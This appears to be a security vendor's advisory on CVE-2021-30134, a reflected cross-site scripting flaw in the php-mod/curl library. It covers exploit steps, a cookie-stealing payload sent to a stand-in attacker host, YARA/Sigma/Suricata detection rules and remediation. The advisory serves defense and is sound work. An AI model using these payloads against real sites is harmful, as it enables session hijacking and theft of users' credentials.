CVE-2021-30134

Executive Summary

CVE-2021-30134 is a Cross-Site Scripting (XSS) vulnerability identified in the php-mod/curl library, a PHP wrapper for the cURL extension, affecting versions prior to 2.3.2. The vulnerability allows an attacker to inject arbitrary JavaScript into web pages via the key parameter in post_file_path_upload.php and through POST data to post_multidimensional.php. This can lead to theft of cookie-based authentication credentials, session hijacking, and other client-side attacks. The vulnerability is classified as medium severity with a CVSS v3.1 score of 6.1, and a public proof-of-concept (PoC) exists via a Nuclei template. The vendor has not provided a direct patch, but upgrading to version 2.3.2 or later mitigates the issue.

Supply Chain & Package Security

This vulnerability affects the php-mod/curl library, which is a PHP package typically installed via Composer. As a dependency in PHP projects, it poses a supply chain risk: if a project includes this vulnerable library, any application using the affected endpoints becomes susceptible to XSS attacks. Developers should audit their composer.json for php-mod/curl and ensure it is updated to version 2.3.2 or later. The lack of a formal patch from the vendor underscores the importance of dependency scanning and automated updates in CI/CD pipelines.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., cookies).
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in the context of WordPress or other CMS platforms, it could be chained with other attacks to escalate privileges.

Deep Dive & Mechanics

The vulnerability resides in the php-mod/curl library, specifically in the post_file_path_upload.php and post_multidimensional.php scripts. These scripts are part of the library's test suite but may be inadvertently deployed in production environments. The issue is a classic reflected XSS where user-supplied input is not properly sanitized before being reflected in the HTTP response.

• Affected Endpoint: post_file_path_upload.php accepts a key parameter via GET or POST. The value of this parameter is echoed back into the response without proper encoding, allowing an attacker to inject arbitrary HTML/JavaScript.
• Example Payload: ?key=<img%20src%20onerror%3dalert(document.domain)> triggers an XSS alert.
• Second Vector: post_multidimensional.php processes POST data similarly, allowing injection through form fields.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation allows the attacker to break out of the intended context and execute scripts in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.3.2): In post_file_path_upload.php, the key parameter is directly echoed:

<?php
$key = $_GET['key'];
echo "key:\"$key\"";
?>

Patched Code (version 2.3.2 or later): The patched version uses htmlspecialchars() to encode output:

<?php
$key = $_GET['key'];
echo "key:\"" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "\"";
?>

The same fix applies to post_multidimensional.php for POST data.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running php-mod/curl version < 2.3.2 with the test scripts accessible.
• Victim must click a crafted link or visit a malicious page.

Exploit Steps:

1. Craft a malicious URL:

   http://target.com/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<script>alert('XSS')</script>
   

2. Send the link to the victim via phishing email or social engineering.
3. Upon clicking, the script executes in the victim's browser, potentially stealing cookies or performing actions on their behalf.

Advanced Payload:

?key=<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Defender)

Detection:

• Monitor web server logs for requests to /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php or post_multidimensional.php.
• Look for suspicious parameters containing <script>, <img>, or onerror patterns.
• Use WAF rules to block common XSS payloads.

Hunting:

• Search for any instances of these test scripts in production environments.
• Verify that the php-mod/curl library is updated to version 2.3.2 or later.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=*
  • /vendor/curl/curl/tests/server/php-curl-test/post_multidimensional.php
• HTTP Request Parameters:
  • key containing HTML/JavaScript payloads (e.g., <script>, <img onerror=...>)
• Response Content:
  • Reflected payload in the response body, e.g., key":"<img src onerror=alert(document.domain)>"
• File Hashes (if available):
  • No specific hashes provided; focus on version detection.

Detection Engineering

YARA Rule

rule CVE_2021_30134_XSS_PhpModCurl {
    meta:
        description = "Detects XSS attempts against php-mod/curl CVE-2021-30134"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-30134"
    strings:
        $xss_payload = /key=<[^>]*onerror\s*=|key=<script[^>]*>/
        $endpoint = "post_file_path_upload.php"
    condition:
        $endpoint and $xss_payload
}

Sigma Rule

title: CVE-2021-30134 XSS Attempt via php-mod/curl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting vulnerable php-mod/curl endpoints with XSS payloads
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "post_file_path_upload.php?key=<"
            - "post_multidimensional.php"
        cs-uri-query|re: 'key=<[^>]*onerror\s*=|key=<script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in testing environments
level: medium
tags:
    - attack.t1190
    - cve.2021.30134

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-30134 XSS Attempt via php-mod/curl"; flow:to_server,established; content:"post_file_path_upload.php"; http_uri; pcre:"/key=<[^>]*onerror\s*=|key=<script[^>]*>/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2021-30134

info:
  name: Php-mod/curl Library <2.3.2 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30134
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30134
    cwe-id: CWE-79
    epss-score: 0.01803
    epss-percentile: 0.82889
    cpe: cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: php_curl_class_project
    product: php_curl_class
    google-query: inurl:"/php-curl-test/post_file_path_upload.php"
  tags: cve2021,cve,xss,php-mod,wpscan,php_curl_class_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'key":"<img src onerror=alert(document.domain)>"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade the library: Update php-mod/curl to version 2.3.2 or later via Composer:

   composer require php-mod/curl:^2.3.2
   

2. Remove test files: If the library is used in production, delete or restrict access to the tests/ directory:

   rm -rf vendor/curl/curl/tests/
   

3. Web Application Firewall (WAF): Deploy rules to block requests containing XSS patterns in the key parameter.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Conduct regular dependency audits using tools like composer audit or Snyk.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor for similar vulnerabilities in PHP packages via OSV or GitHub Advisory Database.

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For further analysis or incident response, contact security@valters.it.

{/* [Security Hash: D08D1A3276C003354FC08863] */}